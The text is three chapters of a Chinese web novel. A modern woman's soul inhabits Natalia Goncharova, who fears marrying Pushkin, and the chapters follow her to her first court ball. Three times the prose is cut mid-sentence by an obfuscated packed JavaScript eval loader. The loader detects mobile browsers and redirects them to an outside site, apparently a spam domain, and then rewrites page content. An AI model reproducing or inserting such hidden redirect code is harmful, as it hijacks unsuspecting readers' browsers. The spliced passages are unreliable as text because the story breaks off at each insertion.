《叛逃的缪斯》 1. ·001· “荡.妇!” “为什么死的不是你!” “因为你——该死的,我们的太阳就这样陨落了!” “滚出俄罗斯!” …… 恶毒的诅咒,狠烈的唾骂,像无数只手堆叠倾覆,死死掐住少女的脖子。 她猛地支起身子,大口喘息。冷汗浸透了她单薄的睡裙。 又是这个梦。 少女的胸口剧烈地起伏,窒息感令她不住地打着颤。 梦里,她站在冰天雪地里,无数看不清面孔的人朝她扔着石头和烂泥。 那些指控和谩骂劈头盖脸地砸下来,每一个词都带着要将她挫骨扬灰的恨意。 为什么,他们为什么这么恨她? 因为“她”是“娜塔莉娅”——娜塔莉娅·普希金娜——姓氏不是“冈察洛娃”,而是“普希金娜”的“娜塔莉娅”。 少女缓缓舒了一口长气,人慢慢平复下来。 这梦不是个好兆头。新的一天如此开始,真是晦气。 “众人的希望之花, “在绽放时还不及有所成就, “几乎才褪下那稚气的衣裳, “就已枯萎——” 俄语诗歌独有的韵律闯进少女的耳朵。 娜塔莉娅抬眼,自家两位姐姐正在窗前的小书桌前朗诵。虽不知是哪位诗人的作品,但听感还不错。 “啊,连斯基就这么死了?我亲爱的弗拉基米尔——” 一声饱含戏剧性悲痛的惊呼,彻底将娜塔莉娅带离噩梦冰冷的余温。 她循声望去,晨曦微光里,二姐亚利克珊德拉正捧着几页皱巴巴的诗稿,捶足顿胸,满脸悲伤。 “哦,珊德拉,别这么大声,会把妈妈吵醒的。”大姐叶卡提丽娜坐在一旁,声音温和,脸上也带着惋惜,“可怜的连斯基,他本不该是这样的结局。” “都是奥涅金的错!他怎么这么冷酷,这么无情——普希金先生为什么要这么写!” 亚利克珊德拉不依不饶,圆润的脸蛋气鼓鼓的。 娜塔莉娅心间一哽。 破案了,诗是《叶普盖尼·奥涅金》; 好巧哦,作者正是亚历山大·普希金。 听着姐妹俩为书中人物的命运争论不休,娜塔莉娅扶着额头,只觉哭笑不得。 梦里,那些要将她生吞活剥的谩骂,似乎还在耳边回荡。 现实里,这个名字的主人,确是她姐姐们心中最伟大的天才,俄罗斯诗歌的太阳。 这割裂感,让她升起一阵荒谬的晕眩。 “娜塔……不,‘莉娅’,你醒了?” 亚利克珊德拉像是找到了靠山,立即化作一只快活的麻雀,扑到她的床边。 “你快来评评理,普希金先生是不是全俄罗斯最伟大的诗人?卡嘉竟然觉得他笔下的奥涅金有些……有些轻浮!” “我没有,珊德拉,”叶卡提丽娜无奈地辩解,“我只是觉得,连斯基的死,奥涅金有不可推卸的责任。” “那可是决斗,是荣誉!”亚利克珊德拉挥舞着小拳头,俨然是普希金最忠诚的护卫,“娜塔,你快说,普希金先生是不是最棒的诗人?” 娜塔莉娅:“……” 她该怎么说? 是说你们这么崇拜到极致的诗人,不久就会和此身关系匪浅? 是说按照原本的历史,他未来会因为此身,死在一场荒唐的决斗里? 还是说方才她还在梦里,被无数人指着鼻子骂是害死他的罪魁祸首? 看着亚利克珊德拉那张充满期待、天真可爱的脸,娜塔莉娅只觉喉咙发干,一个字也说不出来。 少女真挚的心和她不想经历可悲命运的愿望一样重要。 “她”,一个来自二十一世纪的灵魂,某天被塞进娜塔莉娅·尼古拉耶夫娜·冈察洛娃的身体里,毫无抵抗的意味。 尽管关于“自己”过去的记忆呈现大片模糊,但她清楚地知晓:作为女人,和历史上的大人物扯上关系——尤其还是涉及情感的生死纠葛,绝不会有什么好下场。 “普希金的妻子”。 这个头衔像一个沉重的烙印,一靠近就要将娜塔莉娅的灵魂灼烧殆尽。 她生理性地讨厌这个名头,只想远离、远离再远离。 做女人已然艰难。 做名人背后的女人,难上加难。 “莉娅,你怎么不说话?” 亚利克珊德拉摇晃着她的手臂,催促着。 娜塔莉娅组织着语言,想找个不那么伤姐姐心的说辞。 “砰!” 卧室的门被猛地推开。 一股寒意瞬间席卷了整个房间。 叶卡提丽娜几乎下意识地,闪电般将那几页诗稿藏到坐垫下。 亚利克珊德拉一个激灵,从床边弹起来,望向门原地立正站好,秒变仪仗队标兵。 娜塔莉娅眨了眨眼,看着自己被姐姐抛下的手臂,有些状况外。 门口,冈察洛娃夫人伊万诺夫娜交叠着双臂,严肃地站在那。 她梳着一丝不苟的古板盘发,即使穿着朴素的家常裙,也挺直了背脊,用绝不出错的仪态维持一个落魄贵族最后的体面。 妇人以完美的步态一点点侵入三姊妹的房间。 不可能存在的足音一声声敲在三姐妹的心上。 这凝重的氛围简直让娜塔莉娅梦回校园时代。 那种上课偷看小说杂志,假装视力疲劳环顾四周,不经意在身旁的窗户玻璃对面,发现有个黑漆漆的人影早就站在那…… 心里打着鼓叫嚣着“要死”,吞着口水鼓起勇气抬头,一看脸——好家伙,不是老班而是教导主任,魂当即吓飞,“世界再见我死了”的恐惧感。 哎不对,她犯啥天条了这么心虚? 娜塔莉娅机械地起床站好,想破脑袋也就蹦出个“起床晚了”的由头。 母亲冰冷的视线在三个女儿身上来回逡巡,做着最后的审判。 娜塔莉娅的呼吸卡顿片刻,她应该……罪不致死? “你们不会,又在读那个什么诗人的‘伟大作品’吧?” 冈察洛娃夫人话音刚落,叶卡提丽娜背在身后的手不自觉地收紧,又猛地松开。 亚利克珊德拉忍不住打了个寒颤。 娜塔莉娅呼吸渐缓,打击目标不是冲她来的。 “绝对没有的事,放心吧,妈妈!” “是的妈妈,我们没看,一个字都没有!” 两个姐姐连忙开口,轻快坚定的语气遮掩着她们的心虚和忐忑。 “那就好。诗歌、小说、文学……都是没用的东西。”冈察洛娃夫人冷冷地说,“它们变不成你们身上的衣裙,更不能当餐盘里的面包!” 叶卡提丽娜唯唯诺诺地低下头,不再作声。 亚利克珊德拉在母亲看不到的角度,偷偷翻了个大白眼。 娜塔莉娅倒是觉得这话没有对错,都是立场和追求的问题。 “找个好男人嫁出去!听到了吗?说的就是你——亚利克珊德拉,别以为我没看见你翻白眼。” 话音未落,母亲已经快步上前,一把揪住了二姐的耳朵。 “哎呀,妈妈,疼——”亚利克珊德拉跺着脚哇哇叫起来。 “还有你,叶卡提丽娜!”冈察洛娃夫人的目光箭一样射过去,“别以为你藏东西的小动作能瞒过我。” 大姐被吓得猛地抬起头又迅速低下。裙摆被她的手绞得不成样子,她局促不安到了极点。 “别带坏我的小娜塔!”母亲的声音陡然拔高,充满了警告,“否则我让你们那些‘小东西’,在这个家里连灰都剩不下!” 冈察洛娃夫人的视线最后落在了娜塔莉娅身上。 那股冻结一切的冰冷瞬间融化,变得温和甚至带着一丝陶醉。 母亲松开亚利克珊德拉的耳朵,走到娜塔莉娅身边,牵起她的手,仔仔细细地端详着她的脸。 “啊,我的小娜塔,我的珍宝。”她喃喃着,像是在欣赏一件绝世的艺术品,“看看这张脸,你可一定要找个好男人嫁了!你就是咱们家唯一的希望……” 冈察洛娃夫人眼中隐隐闪烁着泪光。 娜塔莉娅扯出一个浅浅的微笑,只能用沉默回应着这份沉重的“希望”。 母亲背后的两个姐姐,同时向她投来了既怜爱又祈求的目光。 属于姐妹间的灵魂默契,让娜塔莉娅立刻明白了她们的意思。 少女轻轻靠向母亲,用柔软的声音转移了话题:“母亲,您的手好冰,是不是起得太早了?” 果然,冈察洛娃夫人的注意力被拉了回来。 她反握住娜塔莉娅的手,言语里满是关切:“我没事。倒是你,脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378109|200131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色怎么这么差?是不是没睡好……” 看到母亲的火力被成功引开,叶卡提丽娜和亚利克珊德拉都悄悄松了口气。 她们的母亲伊万诺夫娜·冈察洛娃心思不坏,只是被贫穷的家境逼得有些刻薄和现实。 自父亲尼古拉·冈察洛夫精神失常、失去自主能力后,全家的重担都压在了她身上。 冈察洛娃夫人不善经营,家族凋敝至今,空有贵族头衔,口袋里可能比农奴还干净。她只能把全部的希望,寄托在女儿们的婚姻上。 大女儿叶卡提丽娜沉闷寡言,二女儿亚利克珊德拉过分活泼不符合时代的审美,都砸在了冈察洛娃夫人手里。 如今,三女儿娜塔莉娅出落得越发美丽,就成了她最后的、也是唯一的救命稻草。 “对了,”冈察洛娃夫人忽然想起什么,“宫廷舞会马上就要开始了,我好不容易才弄到一张邀请函。” 宫廷舞会? 叶卡提丽娜的眼睛里闪过一丝不易察觉的心动。 亚利克珊德拉瞬间来了精神,好奇心熊熊燃烧。 娜塔莉娅心里一咯噔,陡然升起种不祥的预感。 “这次,我可以带一个女儿入场。” 冈察洛娃夫人宣布道,她的视线直接略过前面两个女儿,牢牢锁定在娜塔莉娅身上。 “娜塔,你也到了年龄……这次的宫廷舞会,就当做你的成年礼,刚好是你踏入社交界亮相的好机会。” “我?” 娜塔莉娅错愕地指着自己震惊了,她就这么“被”安排了? “妈妈!”亚利克珊德拉忍不住开口,“莉娅不一定想去啊——您不如考虑考虑我,或者大姐?” 亚利克珊德拉纯粹是好奇,想去见识见识传说中的宫廷是什么样。她也知道,大姐虽然嘴上不说,心里一定很向往那种华丽的场面。 娜塔莉娅在一旁不住地点头,感激地看着二姐。 说的太对了,她一点也不想去! 然而,冈察洛娃夫人只是冷漠地扫了她们一眼。 “卡嘉性格沉闷无趣,姿色寡淡。加上我们家的状况,去了也是白去。” 大姐默默低下头,眼里的光熄灭了。 “而你,珊德拉,”母亲毫不留情地戳着二姐的痛处,“说好听点是天真,说难听点就是幼稚!加上你这圆滚滚的小猪样,就算搭上卡嘉做添头,一点水花都溅不起来!” 二姐摸摸脸颊的肉,努努嘴哑火了。 “娜塔就不同了。”母亲转过头,看着娜塔莉娅的眼神充满狂热,“你们看看这张脸——这才是可以让男人忘记一切,奋不顾身去抢、去争,也要娶回家的脸!” 娜塔莉娅呼吸一滞,竟无言以对了。 冈察洛娃夫人轻拍娜塔莉娅的手背,不容置喙地做了决定:“事情就这么定了。娜塔,你好好准备,多花点心思在打扮和舞蹈上,别整天跟着你那个木头姐姐和疯姐姐读那些没用的诗了。” 说完,她带着胜券在握的希冀,转身离开了房间。 被留下的三姐妹面面相觑。 沉默在房间里蔓延。 片刻后,亚利克珊德拉第一个打破沉寂,叉着腰夸张地叹息一声。 “看来我这只圆滚滚的小猪,此生是没机会进宫殿看一看了。” 叶卡提丽娜也随即自嘲地摆手笑了笑:“那就更别提我这把长扫帚了,去哪都只会碍地方。” 娜塔莉娅看着他们故作轻松的样子,心里涌上一阵暖流。 她们正在用这种方式缓和气氛,也开解着她被当成工具推销出去的烦闷。 这两个姐姐,才是真正的小天使。 娜塔莉娅也弯起嘴角,加入了自嘲行列:“我也就是空有张能看的脸,扔到繁花遍地的宫廷舞会里,顶多算朵无人在意的小野花。” 姐妹三人相视一笑,先前的压抑和不快都消散了不少。 笑过之后,他们重新躺回床上。 娜塔莉娅睁着眼睛,看着些许陈旧的天花板。 这像不像灰姑娘的剧本?被逼着去参加舞会,然后邂逅王子来改命。 她可去他的吧! “该死的舞会。” 娜塔莉娅低声骂了一句,一把扯过被子,将自己完全蒙进了柔软的黑暗里。 千万—— 千万可别让她遇到那个该死的“王子”。 2. ·002· “‘王子’,我亲爱的诗人,我愿以此呼唤您——您是比太阳更加耀眼的存在!” “我愿以我的心跳去触碰你的心,乞求一个吻做回信……” “啧啧啧,听到了吗?萨沙,又有一位小姐坠入你这条爱河里了。” 年轻的诗人慵懒地躺在酒红色的沙发上,双手搁在腹上,正闭目养神。难以想象,这个浑身上下仿佛有烈火在燃烧的男人,竟会有这般安静乖顺的时候。 莺莺燕燕娇俏的欢声笑语在他耳畔环绕不绝,将他难得的独处冥思无情地打断。 男人掀开一只眼皮,见到交好的女性朋友正在念一封不知从哪来的情书——似乎还是写给他的,顿时失去了所有兴趣。 毕竟,贵族小姐们的快乐总是来得如此简单又浅显。 他索性翻过身,拉起衣领盖住耳朵,再次合上眼睛,一副拒绝与俗世同流合污的模样。 年轻女人见他这副德行,姣好的脸上笑意越发明艳。 她踩着轻快的步子向他而去,将手里那封带着馥郁香气的情书,像扔一张废纸似的,直接糊在了男人的脸上。 “‘王子’大人,您的魅力无双,我现在一点都不配得到您的回应了是吧?” 女人的声音里有些咬牙切齿,手上动作的幅度大了些。 一时间,男女肢体的交锋隐隐突破了朋友的边界,暧昧的欲色正在侵染过界。 “别别——安涅塔,住手,我投降!” “投降?沙皇都不能让你屈服,你就这么轻易跟我说‘投降’?” 女人居高临下地俯视着沙发上的男人。 他的呼吸平稳,没有一丝紊乱。英俊的面容带着散漫的笑,轻易就让人联想到午后阳光的璀璨。 但那笑意干净又纯粹,毫无情欲的暧昧,仿佛方才那些嬉笑打闹、肢体触碰都只是不存在的幻觉。 “那是自然,奥列尼娜小姐。” “我的膝盖,不跪权贵,但可以跪美人。” 他顺势牵过她的手,在她的手背上落下了一个轻若无物的吻。 一个恰到好处的吻手礼,将贵族小姐心里那点还未生起的火苗,消弭得干干净净。 “亚历山大·谢尔盖维奇,你还真是……算了。”奥列尼娜话锋一转,抽回自己的手,“话说,宫廷舞会,沙皇应该给你发了邀请函吧?” 普希金脸上的笑意淡了下去,他的视线瞥向厚重的地毯。 不远处,在倾倒的酒瓶、酒杯还有废弃手稿的混乱之中,正躺着一封被拆开的、被随意丢弃的精美邀请函。 外人趋之若鹜的东西,在诗人这里却弃如敝履。 好巧不巧,邀请函上那华丽的烫金纹饰旁,隐约可见一枚浅浅的鞋印,看上去是男士的鞋码。 至于是谁留在上面的……嗯,这可真是个难猜的谜题。 奥列尼娜顺着普希金的视线看去,了然于心。 毕竟整个俄罗斯都知道,诗人普希金只跟沙皇关系不好,且绝对不会向权贵服软。 “那你……还要不要参加舞会?如果参加的话,找好舞伴没有?” 奥列尼娜不动声色地试探着,心里燃起一丝隐秘的期待。 普希金懒洋洋地回答她:“去,为什么不去?但安涅塔,我想我可能并不需要提前找好舞伴?” 贵族小姐的笑容凝滞在脸上。 “可爱的奥列尼娜,你难不成竟在担心我会没舞伴?”普希金突然笑出声来,“我就算一人独去,只要我想,舞会上的所有异性都可以是我的舞伴。” 奥列尼娜被普希金狂妄的自信和不解风情的迟钝逗乐了。 “我们萨沙真不愧是情书堆里的‘王子’,”她随手抽出把折扇,展开遮住自己的黯然,调侃他,“您这是打算单身赴宴,好给自己找个真正的‘公主’回来?” 普希金笑着眨眼回应她:“我不是‘王子’,我是诗歌的‘国王’。” “况且,舞会上碰到的也不一定是‘公主’,很可能是位‘Cendrillon’。” 这个词汇在诗人的唇齿间流转,未带丝毫轻蔑,反而缱绻着一种未竟的期待。 “Cendrillon”,是个法语名字。 它更为人熟知的发音是“辛德瑞拉”。 即——“灰姑娘”。 * 在接受必须参加宫廷舞会这个残酷的现实后,娜塔莉娅不得不开始刻苦“重温”各种宫廷交谊舞的舞步。 母亲在她身后拿着软教鞭,稍一不留神,鞭子就会抽到动作变形的娜塔莉娅身上。 为了不让娜塔莉娅幼嫩光洁的皮肤受伤,母亲特意在鞭子上裹了厚厚一层布,加上手上的巧劲,只会让女儿感到刺痛,却不会留下任何红痕。 每一次鞭子挥动,都会引来三姊妹起伏的抽气声。 大姐叶卡提丽娜会下意识地停下手里的针线活,诧异地抬头,她不明白小妹的舞蹈功底怎么退步了这么多; 二姐亚利克珊德拉的舞步会因此卡顿片刻,心里则在疯狂尖叫,她和小妹搭档的默契怎么全都走丢了; 而娜塔莉娅则会在皮紧的刺痛里,机械地记住一个又一个正确的舞步,并在心里一遍遍咒骂这该死的“贵族生活”简直吃人。 然而日复一日,坐牢的日子却毫无尽头。 要疯了! 舞会还没开始呢,人就要被逼疯了。 不管是必须参加舞会的,还是在家留守的,全都快要疯了。 叶卡提丽娜天天穿针引线,不眠不休地给小妹的礼服做点缀,眼睛和手都快要不是自己的; 亚利克珊德拉跳男步跳得快要疯魔,再继续下去,她就要怀疑自己的性别究竟是男是女; 而娜塔莉娅呢? 如果母亲这“爱的皮鞭”再不消停,娜塔莉娅觉得自己快要不存在了。 熬过了老师的教鞭,躲过了老爹的皮带,一朝穿越,却逃不脱“母亲”的鞭策。 这个舞会就非去不可吗? 在看不到头的折磨里,娜塔莉娅不停地问着自己。 无数次转换思维、假设,答案永远都是肯定的。 毕竟“她”出现在这具身体里的时间不过月余,对时代的摸底还不够。 原主纵然慷慨,毅然将身体支配权让给她。但姐妹们连按照娜塔莉娅的请求,重新给她换个昵称——就从“娜塔”换成“莉娅”,都还很不适应。 转变尚需时间,更别提实施别的蓝图计划了。 其次,冈察洛娃家的经济需求已经迫在眉睫:张开的每一张嘴巴,都在喊着钱、钱、钱! 一个疯病的父亲,一个不善经营的母亲,两个错过了最佳社交季而嫁不出去的姐姐,以及一个年幼的弟弟…… 但凡换个场景,娜塔莉娅都要接一句“还有个破碎的她”了。 不是要“卖女求荣”,而是在这个家看来,早已无路可走。 另外,拿到邀请函已经用掉了身为宫廷女官的伯母的人脉,出席的礼服和首饰又要额外花上一笔可观的开支。 好钢必须用在刀刃上,只能让家里最年轻貌美、最有希望钓到金龟婿的娜塔莉娅来承担这份“荣耀”。 最后,世上没有白吃的午餐,娜塔莉娅绝不认为会有哪个头脑清醒的男人,愿意接手冈察洛娃家这个巨大的烂摊子——除非他们是为了美色就脑袋空空的笨蛋。 可把自己的命运交到那种人手里,想想都觉得未来一片昏暗无光。 但不管怎么说,出席舞会至少可以安慰到母亲,让她不至于对明天彻底绝望。 未来的路,娜塔莉娅可以之后再好好想想要怎么挽救这个家。但现在,舞会这一关必须顺利度过。 无论假意还是真心,她都必须演好自己的戏份,然后寻找时机,体面地谢幕脱身。 …… 舞会当天,寂夜无星。 娜塔莉娅穿上那条洁白的素面礼服裙,头戴一圈细巧的金环,梳着时下流行的宴会盘发,耳坠是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378110|200131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两颗圆润的珍珠,鬓边还别着朵盛放的玫瑰。 放在极尽奢华的宫廷舞会上,这身打扮过于素净,甚至显得有些寒碜。 毕竟冈察洛娃家经济窘迫,这已经是家里能拿出的最好的服饰。 全家倾尽一切的托举,只为一个虚无缥缈的希望,真的值得吗? 这个念头刚起,又在烛光里母亲闪烁的眼神和温柔的话语下,消失无踪。 “华丽的礼服和贵重的珠宝固然亮眼,可年轻的美人本身就是一朵最明丽的花……去除那些过分的装饰,反而更能突出娜塔本身的美。” 母亲温声宽慰,伸手描摹她最精致的女儿,却又害怕破坏她的妆容。 古板刻薄的女人的眼里有惊艳,有欣慰,有不忍,有担忧,更有不舍。 娜塔莉娅很难相信,自己能在一双眼睛里读出这么多东西。 她正要说些什么,母亲突然又别过脸转身而去,姊妹们立马围了上来,牵着她的手说说闹闹。 美人的精致亮相,得到了家人一致的赞美和追捧。 年轻的欢笑顿时隔开了妇人的沉默。 娜塔好像明白了,冈察洛娃夫人遮掩在刻薄下的东西…… 临近出发,小弟谢尔格遵照母亲的指示,急匆匆跑去邻居家借马车,毕竟自家的马车早已卖掉换了钱。 感谢曾经的冈察洛夫家族至少阔过,家宅周边的邻里都是些不错的人家。 放低姿态的嘴甜孩童最容易让人动恻隐之心,幼弟出面,借到马车不算难。 出门前,叶卡提丽娜将她拉到一旁,私下里用极低的声音嘱咐娜塔莉娅:舞会上尽量闭嘴,少说话多倾听,以免暴露跟脚。 “加油。” 大姐紧紧攥着她的手,不一会儿,二姐和小弟过来轻轻抱住了娜塔莉娅。 “你是我们全家的希望和荣耀。” 马车上,娜塔莉娅望向车窗外的漆黑,感受着这个车马时代独有的颠簸,盯着玻璃上自己模糊的倒影出神。 镜面上的少女,两颊垂着精心打理的黑发卷,一双灰色的眼睛里,闪着细碎的鎏金光芒。 折磨的日子已然过去。但在皮鞭下,人究竟掌握了多少,这很难说。 宫廷舞会,听起来就让人不敢出错——也不能出错。 她急切地在心中呼唤着另一个“自己”,这具身体的原主,真正的“娜塔莉亚”。 毕竟,就凭临时抱佛脚般的突击训练——她连怎么合格的都不知道,就直接拉去宫廷“表演”,简直是自寻死路。 过往的日子里,她在独处时也和娜塔莉亚有过简短的交流。 那个女孩次次都有回应,今天却哑火了。 “亲,你想想,我是个外来者,可一点不懂你们的规矩啊。” “礼仪和社交舞我是学了,可学不等于会,会也不等于精通——我和你的配置天差地别。” “要是在舞会上出了丑,冒犯到哪位权贵,给冈察洛娃家招来祸患,那可就是天大的罪过了。” “你不乐意出来?我保证,舞会结束咱俩就立马换人,绝不多一秒钟!” …… 她不停地跟“娜塔莉娅”说话,希望“她”能出来掌控这具身体,和她一起把舞会这道难关给度过去。 但很遗憾,无论她怎么劝,原主仿佛厌弃了这一生似的,压根没有回音。 “帮帮我吧,亲爱的‘娜塔’。” 她在心里最后一次请求。 良久,她听到一声叹息。 她的眼睛立马亮了。 一个温柔又坚定的声音在她的意识深处回应。 “如你所愿,亲爱的‘莉娅’。” 车窗上,少女眸子里那片细碎的鎏金瞬间消失,只余下一双温柔而沉静的灰色眼睛。 两个灵魂时隔多日,终于再一次迎来交换。 车马继续向前,驶向宫廷那片未央之夜。 舞台已热,人员就位,故事的走向依旧是未知。 3. ·003· 马车稳稳停下,属于宫廷别馆的璀璨灯火透过车窗,映亮了娜塔莉亚沉静的面容。 她提起裙摆,在侍者的搀扶下走下马车,乖顺地坠在母亲伊万诺夫娜身后。 一进入舞厅,莉娅的灵魂便挣脱了身体的束缚。 这是她第一次以这种形态存在,整个魂都轻飘飘的。她新奇地跳向半空,想去触碰悬挂于穹顶的巨大水晶吊灯。 奈何灵魂也要遵守牛顿爵爷的基本法则,娜塔根本飘不起来。她干脆孩子气地呈大字躺在那,看着上方无数根蜡烛在晶莹的刻面间折射,将整个大厅照得亮如白昼。 “哇哦!” 莉娅在身体的意识层里发出一声惊叹,完全无视了娜塔地震的瞳孔、颤抖的手和受惊的心跳。 新世纪的灵魂像一只刚出笼的鸟,肆无忌惮地在奢华的厅堂里穿梭。 莉娅飘到一位大腹便便的伯爵头顶,手痒地想去揪一下他那顶滑稽的白色假发。她的指尖却穿透了伯爵的头,带起一阵微不可查的凉意。 伯爵下意识地摸了摸头顶,困惑地环顾四周。 莉娅咯咯直笑,又飘向另一边,对着一位被束腰勒得快要窒息的贵族小姐啧啧称奇。 这扭曲的审美,简直是对人体器官的公开处刑。 “莉娅,拜托你,安分点。” 毫无意外,熊孩子的野马脱缰总令人眼前一黑。 娜塔的声音在灵魂深处响起,带着一丝不易察觉的颤抖。 她正端庄地站在母亲身边,面上一派冷然,完美地扮演着一个初入社交场的矜贵少女。 只有她自己知道,她的内心已经因为莉娅的“放荡”行径而山崩地裂。 “抱歉抱歉,”莉娅双手合十,从善如流地飘回到娜塔身边,“我只是太兴奋了。” 娜塔没有再回应,但莉娅能感觉到,那具被她暂时交出的身体里,因她的存在而注入了一丝鲜活的暖意。 十九世纪的少女从未见过莉娅这样的人,充满了阳光的味道,能让她冷却的生命重新回温。 很快,一位年轻的男爵上前,彬彬有礼地向娜塔莉娅发出了第一支舞的邀请。 娜塔屈膝行礼,将手轻轻搭在对方掌心,滑入舞池。 音乐响起,少女的身体随着节拍舒展开来。每一个旋转,每一次踮脚,都精准而优雅。 那条洁白的裙摆在舞池中漾开,她脸上的表情依旧很淡,却在流动的光影里,绽放出一朵冰雪玫瑰般的清冷与绝美,让人完全移不开视线。 “我的天……”莉娅在一旁看得叹为观止。 这才是真正的贵族少女,举手投足间皆是风情。 看着另一个“自己”在人群中游刃有余,得体地应对每一位男士的搭话,在舞池中绽放光彩……莉娅恨不得立刻夺舍那些围着她的男人,亲自和小娜塔共舞一曲。 美人不仅男人爱看,女人更爱看。 再看下去,莉娅都快怀疑自己会爱上这个软绵绵的灵魂同伴了。 毕竟娜塔这块小蛋糕,实在太香甜可口了。 舞池边的男人们已经开始窃窃私语。 “那是谁家的女儿?从未见过。” “美得惊人,不是吗?像月光下的雕塑活了过来。” “冈察洛夫家的,听说才十六岁,这样的美貌和身姿是真的存在的?仪态完美——” …… 幽灵莉娅在他们中间飘来飘去,不住地点头。 对,就是这样,对她的娜塔,赞美可以来得更猛烈些! 而另一边,手持羽扇的小姐们则发出了完全不一样的声音。 “穿得真寒酸,那料子怕是连我们女仆的裙子都不如。” “有什么用?不过是空有一张脸的穷酸货色。” …… 莉娅路过,听着这些话直摇头。 她看着娜塔那边,等待邀舞的绅士几乎要排起长队,瞬间明白了这些被冷落的小姐们“酸”的源头。 自古以来,女性对女性的恶意总是最伤人的。 莉娅不禁有些担忧,初次亮相就如此大抢风头,会不会不太合适? 但莉娅很快就打消了这个念头。 她看见娜塔在舞池中,脸上渐渐展露出一丝轻快的笑意。那笑容很浅,却真实无比。让美丽的少女整个人都散发着愉悦和鲜活的光彩,完全区别于灵魂深处那个“别管我,我对生没有兴趣”的厌世者。 和娜塔的快乐比起来,这些评头论足又算得了什么?大不了,这些语言的利剑,过会儿换魂后就由她来承担。 毕竟现在对莉娅而言,没什么比让这个善良的女孩感到高兴更重要的事了。 舞厅二楼的阴影里,一名不起眼的侍从正低声向他的上司汇报:“阁下,普希金先生来了别馆,但并未进入会场。” 班肯多尔夫将军晃了晃手中的红酒杯,猩红的液体在杯壁上挂出一道弧线。 与他同行的友人奇道:“这位大诗人,参加舞会却不露面?真是稀奇。” 将军身边的女伴被勾起了好奇心:“普希金?他是个什么样的男人,值得你们如此关注?” 男伴们立刻唱起了双簧: “一个会在赌桌上拿自己最新诗稿下注的赌徒。” “一个被激怒就随时要跟人拔枪决斗的疯子。” “一个时隔几年就忘记旧情人长相的浪荡子。” “总之,一言难尽。” 女伴听完,反而开怀。 “听起来,他确实比你们这些循规蹈矩的绅士有魅力得多。” 同伴们一时语塞。 班肯多尔夫将军锐利的视线扫过那位女伴,慢条斯理地开口,低声念出了几句诗: “迷人的幸福的星辰就要上升,射出光芒, “俄罗斯要从睡梦中苏醒, “在专制暴政的废墟上, “将会写上我们姓名的字样!” “沉重的枷锁会掉下, “黑暗的牢狱会覆亡, “自由会在门口欢欣地迎接你们, “弟兄们会把利剑送到你们手上。” 他顿了顿,话语里带着警告的寒意。 “能写出这样诗句的人……我奉劝您,不要和他有所牵扯。他是个巨大的‘危险’。” 女伴的兴致更高了。 “那您可小瞧了女人。这种危险又迷人的角色,最容易牵动女人的心。发发慈悲吧,阁下,这位‘诗人’先生呢?他到底在哪儿?” 将军发出一声意味不明的轻笑。 “我可不是他的镣铐,也没人给他戴上镣铐。普希金在哪?或许,女士,他正喝醉了滚在哪簇花丛里也说不定。” 他戏谑的视线滑向楼下。那里,一朵年轻的花正在舞厅中央尽情绽放。 一舞终了,娜塔莉娅躬身,优雅地捻起裙摆向舞伴致谢。 不远处的莉娅化身鼓掌机,在灵魂层面为她疯狂欢呼。娜塔似乎感应到了,抬起头,朝莉娅的方向露出了一个温暖的微笑。 这个转瞬即逝的美景,让她的舞伴看呆了,甚至忘了呼吸。 周围排着队的绅士们更是此起彼伏地吸气,热情瞬间被推向顶峰。 同场跳完舞的两位贵族小姐停在原地,打开折扇,冷眼看着这个破落户如此不知收敛地抢尽风头。 其中一位打扮华贵、地位显然更高的小姐,在扇面后对着同伴低语:“你看如此‘盛况’,冈察洛娃夫人怕是嘴都要笑裂。她的女儿未免也太得意了些,一点规矩都不懂。” 贵族小姐的附庸立马会意。 回想片刻后,她收起折扇,莲步轻移,在与娜塔莉娅擦肩而过时展开扇面,用只有两人能听见的音量,隐晦地低语: “小姐,您出门似乎忘了检查行装……穿着开裂的鞋子来宫廷舞会,似乎有些不太体面呢。” 那带着香风的话语飘入耳中。 娜塔莉娅脑中嗡的一声,一片空白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378111|200131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,整个世界都在旋转。 不等莉娅反应过来,娜塔便眼神空洞地转过身,几乎是踉跄着,飞快地逃离了会场。这是她整场舞会里,第一次失礼。 被那具身体的动作牵引,莉娅也被放风筝一样猛地拽了出去。 “娜塔莉亚小姐——” 下一轮的舞伴在原地伸出手,满脸错愕。 “好歹灰姑娘还有水晶鞋呢……她一个穷鬼破落户,仙女教母都没,还敢妄想成为‘辛德瑞拉’?” 碍眼的人终于离场,贵族小姐们娇笑着,重新滑入属于她们的舞会时光。 * “娜塔……” 莉娅终于能“自主飘路”后,她在花园的台阶上,发现了抱膝独坐的女孩。 